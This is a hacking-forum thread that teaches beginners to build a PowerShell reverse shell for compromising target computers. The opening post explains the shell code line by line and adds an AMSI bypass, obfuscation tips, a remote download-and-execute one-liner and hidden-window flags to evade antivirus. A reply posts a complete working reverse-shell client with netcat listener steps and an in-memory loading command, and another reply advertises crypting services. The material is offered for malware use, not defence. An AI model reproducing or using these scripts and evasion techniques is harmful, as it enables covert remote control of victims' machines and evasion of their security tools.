Powershell reverse shell BEGINNER tutorial
by Sukob - Thursday May 2, 2024 at 11:37 PM
#1
In this tutorial I will be describing how a reverse shell in Powershell works, hopefully after reading you will have a full understanding and be able to create your own code for your own operation. It will be very simple so it can be modified, and for undestanding purposes.

To begin you will need a listener to catch the shell. Once the Powershell script is executed on the target computer it will reach out to the specified server to attempt to establish a TCP connection. Once this connection has been established command and output can be passed between the listener and the Powershell client.

If the listener stops listening and the client does not continuously attempt to re-establish connection then the shell will hang. So why reverse shell, why not regular shell. There are a few reasons, the main reasons are that on most Windows PC (assuming this is the target) opening a port (requirement for bind shell) requires elevated privileges. Additionally, firewalls scrutinize incoming requests much more than outgoing. See diagram below

[Image: ?u=https%3A%2F%2Fassets.website-files.co...ipo=images]
Now that we understand the basic concept we will implement it. This shell will be heavily based on revshells, I highly recommend the website for learning purposes or if you need to generate a quick shell. To clarify: I am not writing anything new, I am merely helping beginners understand how the code functions so that they can write their own.
This code will work on any Powershell version which supports .NET, as we will be using .NET classes to create the connection.
To begin the main payload we will start by creating a TCP client object. We will use lhost 0.0.0.0 and lport 1337 for this example.

$client = New-Object Net.Sockets.TCPClient('0.0.0.0', 1137);

the
$client
variable is referencing an instance of the
TCPClient
object. We will use this object and it's methods to communicate with the server, which we initialized as 0.0.0.0:1337.

The next line is
$stream = $client.GetStream();
This line obtains the TCP stream. The
System.Net.TCPClient.GetStream();
method will return a reference to an instance of the
NetworkStream class. Simply put, other methods will let us read and write to this stream as a form of 2 way communications with the server.

$writer= New-Object IO.StreamWriter($stream);

This line create an instance of the
StreamWriter
class.
StreamWriter
is an implementation of
TextWriter
which basically provides methods to read and write to streams. This is why it is initialized with
$stream

For the next step we will need to create a function to write to the stream. You can do this by creating a function or you could just repeat the same process twice. I prefer the second option but the first works just as well so I will write an example of that
function writeStream ($input) {

    [byte[]]$script:buffer = 0..$client.ReceiveBufferSize | % {0};
    $writer.Write($input+ "PS " + (pwd).path + "> ");
   $writer.Flush()

};
writeStream "$env:username callback"
For beginners this part may not make much sense.
The first line
[byte[]]$script:buffer = 0..$client.ReceiveBufferSize | % {0};
In this line the $buffer variable is declared with the explicit type of byte array in the script scope. The next line is a little complicated but essentially it returns an empty buffer from
0 -> the default Net.TCPClient receive bufffer size which should be 8192 bytes. The next 2 lines are very simple.
We use the $writer object's Write() method to write to the steam. We write the input, plus "PS" followed by (pwd).path and a ">". The input will actually be our command output, so what the listener will catch is going to look something like
command output
PS C:\path\workingdirectory>

Which is almost exactly how an actual interactive Powershell session would look. The pwd command is an alias which returns a dictionary of the path to working directory, or the current directory. The .path pulls the "path" string from the dictionary.
The final command
$writer.Flush()
flushes the stream, which sends the output back to the server, the listener.
We finish off by using the function to write The username and "callback" to the listener, so the operator (you) will know the shell has been caught.
In the next step we will loop infinitely to wait for commands from the listener.
while(($BytesRead = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) {
This reads from the stream using
stream.Read()
Based on Microsoft documentation  this checks if the stream has available data then reads it into the first argument byte array ($buffer), with an offset of 0 and for $buffer.Length bytes. This ensures it only reads as many bytes as are available for storage in the receive buffer. If this amount is greater than 0 it continues, if not it loops back and waits.
$cmd = ([text.encoding]::UTF8).GetString($buffer, 0, $BytesRead - 1);
This uses the GetString method from UTF8 to encode the buffer into a string for $bytesread -1 bytes and store it in the $cmd string.
$scriptblock = [scriptblock]::create($command)
This creates a scriptblock object from the $command string. We can now use invoke-command instead of invoke-expression for stability and to help avoid detection.
$Output = try {icm -scriptblock $command 2>&1 | Out-String} catch {$_ | Out-String}
This calls the icm alias for invoke-command cmdlet on the $command scriptblock. The output is piped into the out-string cmdlet which ensures that any output is outputted as a string. If an error occurs the try statement catches it and also pipes it into a string. This is saved in the $output string.
We then
writeStream($output)
to write the output to the listener.
We close off the while loop with a curly brace and close the StreamWriter object with
}$writer.Close();
.

This is the basic payload. We will wrap with payload and place it inside a loop

do {
start-sleep 2 #sleep so that the shell does not spam the listener when it is offline
#payload here
} while ($true)
This will infinitely loop so that when the listener goes down you can start listening again and the shell will reconnect.
On the listener side we can simply use netcat
nc -lvnp 1137
To listen for a callback.

Issues with the shell

There are a few basic things to know.

1. Commands that start interactive sessions with executables like cmd.exe will cause the shell to hang indefinitely.

2. This code is very basic and VERY used. It will be caught by AV

The first one can't be fixes unless we write a much more complicated shell. For the second one there is a few things you can try.

- Obfuscation
- AMSI bypass.

When running Powershell scripts every command is passed to some methods in AMSI.dll. AMSI is the AntiMalware Scan Interface.

Without getting into too much detail there are various ways to bypass AMSI using Powershell.

DISCLAIMER: MANY OF THESE METHODS WILL NOT WORK AGAINST MODERN EDR SOLUTIONS OR NGAV, THIS IS INTENDED ONLY FOR HOME ANTIVIRUS. BYPASSING ANTIVIRUS ON A HIGHER LEVEL IS A TOPIC WHICH REQUIRES IT'S OWN THREAD

A simple example is Matt Graeber's reflective AMSI init fail. This is a one line AMSI bypass.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

This bypass will NOT work out of the box because it is detected by AMSI as a malicious string itself.
For more AMSI bypasses view this link.
To get this to work in a simple way (beginner friendly) which should work against AV like Windows Defender we will need a 2 step payload.
Because of Powershell's nature it is possible to change the signature of commands/lines of code like the bypass above using obfuscation techniques.
There are many techniques, there are even tools to automate some of these techniques. Once you have obfuscated the bypass it should execute without triggering AMSI, any commands executed after that will bypass AMSI.
If using this method make sure that the malicious script is loaded remotely, loading the entire script at once will cause AMSI to analyze the lines after the bypass before executing the bypass, which will be caught. You can remotely load scripts from a server using a command line
iex(iwr domain[.]tld/payload.ps1 -useBasicParsing);
You should also make sure to stealthily execute your initial stage.
When calling powershell use the /w 1 /ep bypass flag to set the application windowstyle to 1 (invisible) and the script execution policy to bypass.
Finally you can call the entire script wrapped in quotations using the /c or /command flag, or /e or /encodedCommand followed by a base64 encoded version of the script.
I hope this helped some beginners and good luck on your extensive malware journey!
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Self-Ban | Retired |http://breached26tezcofqla4adzyn22notfqwcac7gpbrleg4usehljwkgqd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.
Reply
#2
Information given was great, I liked the focus of AMSI Bypass in the end.

Anyways, it lacked a POC Script, so I wrote a working script that we can demonstrate the connection using. Below is the code of Ps-Client.ps1:


### Client Side Script

Quote:$client = New-Object System.Net.Sockets.TcpClient

while ($true) {
    try {
        $client.Connect("127.0.0.1", 1337)
        if ($client.Connected) {
            Write-Host "Connected to the server."
            break
        }
    } catch {
        Write-Host "Failed to connect to the server. Retrying in 3 seconds..."
        Start-Sleep -Seconds 3
    }
}

# Create a stream reader and writer for easier reading/writing.
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)

$writer.AutoFlush = $true

while ($true) {
    $command = $reader.ReadLine()
    if ($command -eq "exit") {
        break
    }
    $output = Invoke-Expression $command
    $writer.WriteLine($output)
}

$reader.Close()
$writer.Close()
$client.Close()

It follows similar and close communication method that was explained by Sukob, I doubt that anyone would need another explanation for it. It's simplistic in nature while providing a reverse connection using TCP Net Sockets library.

Now that is left is the listener, for our example here. We will use netcat, if you didn't knew about netcat previously. Below is the definition from wikipedia (https://en.wikipedia.org/wiki/Netcat)

Quote: Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.


### Using Netcat in Windows

We will start by getting compiled binaries, the website is EternallyBored.org - Specifically (https://eternallybored.org/misc/netcat/)

After downloading it, we extract the archive then open up a command prompt inside the folder. Type in "nc.exe -lvnp 1337" - without the quotes, and the listener should get started.


### Executing the Client Side Script

Scenario 1 - Local Execution:

From powershell, type in the Script file name and let it run. Alternative Example: powershell.exe -File Ps-Client.ps1

Scenario 2 - Execution from URL(memory):

From powershell, we type in the below command:

Powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://example.com/ps-client.ps1')"


### Showcase

GIF about the reverse shell connection, just as we have explained it here. (https://qu.ax/ZKBT.gif)
Crypt files/Crypt files .NET [x64/x86] Native x86 WinDef Bypass - 0/26:
https://breachforums.hn/Thread-MALWARE-C...26-Avcheck


Reply
#3
(05-03-2024, 03:00 AM)N1k7 Wrote: Information given was great, I liked the focus of AMSI Bypass in the end.

Anyways, it lacked a POC Script, so I wrote a working script that we can demonstrate the connection using. Below is the code of Ps-Client.ps1:


### Client Side Script

Quote:$client = New-Object System.Net.Sockets.TcpClient

while ($true) {
    try {
        $client.Connect("127.0.0.1", 1337)
        if ($client.Connected) {
            Write-Host "Connected to the server."
            break
        }
    } catch {
        Write-Host "Failed to connect to the server. Retrying in 3 seconds..."
        Start-Sleep -Seconds 3
    }
}

# Create a stream reader and writer for easier reading/writing.
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)

$writer.AutoFlush = $true

while ($true) {
    $command = $reader.ReadLine()
    if ($command -eq "exit") {
        break
    }
    $output = Invoke-Expression $command
    $writer.WriteLine($output)
}

$reader.Close()
$writer.Close()
$client.Close()

It follows similar and close communication method that was explained by Sukob, I doubt that anyone would need another explanation for it. It's simplistic in nature while providing a reverse connection using TCP Net Sockets library.

Now that is left is the listener, for our example here. We will use netcat, if you didn't knew about netcat previously. Below is the definition from wikipedia (https://en.wikipedia.org/wiki/Netcat)

Quote: Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.


### Using Netcat in Windows

We will start by getting compiled binaries, the website is EternallyBored.org - Specifically (https://eternallybored.org/misc/netcat/)

After downloading it, we extract the archive then open up a command prompt inside the folder. Type in "nc.exe -lvnp 1337" - without the quotes, and the listener should get started.


### Executing the Client Side Script

Scenario 1 - Local Execution:

From powershell, type in the Script file name and let it run. Alternative Example: powershell.exe -File Ps-Client.ps1

Scenario 2 - Execution from URL(memory):

From powershell, we type in the below command:

Powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://example.com/ps-client.ps1')"


### Showcase

GIF about the reverse shell connection, just as we have explained it here. (https://qu.ax/ZKBT.gif)

high quality reply +++ thank you

I added explanation because many people just getting into simple malware development are still learning some basics concepts.
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Self-Ban | Retired |http://breached26tezcofqla4adzyn22notfqwcac7gpbrleg4usehljwkgqd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.
Reply
#4
When calling powershell use the /w 1 /ep bypass flag to set the application windowstyle to 1 (invisible)
Reply
#5
This is a great presentation, I also have a similar zero-day vulnerability called Elite Cobra
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Dishes out second hand retardation | http://breached26tezcofqla4adzyn22notfqw...an-Appeals if you wish to be unbanned in the future.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Go] Using the recycle bin for stealthy persistence (Beginner tutorial) CreateThread 9 492 08-09-2025, 02:27 PM
Last Post: m0nky
  Malware Development Series | Beginner to Advanced 2025 loganpaul09 0 204 04-13-2025, 05:24 PM
Last Post: loganpaul09
  PowerShell AMSI Bypass via VEH Loki 37 3,726 03-18-2025, 08:36 PM
Last Post: V1cent
  Malware Analysis and Reverse Engineering Resources Smeforlean 0 322 02-28-2025, 03:53 PM
Last Post: Smeforlean
  Bind shell in python on Windows is a pain Someone1611 3 597 11-04-2024, 04:56 AM
Last Post: Someone1611

Forum Jump:


 Users browsing this thread: 1 Guest(s)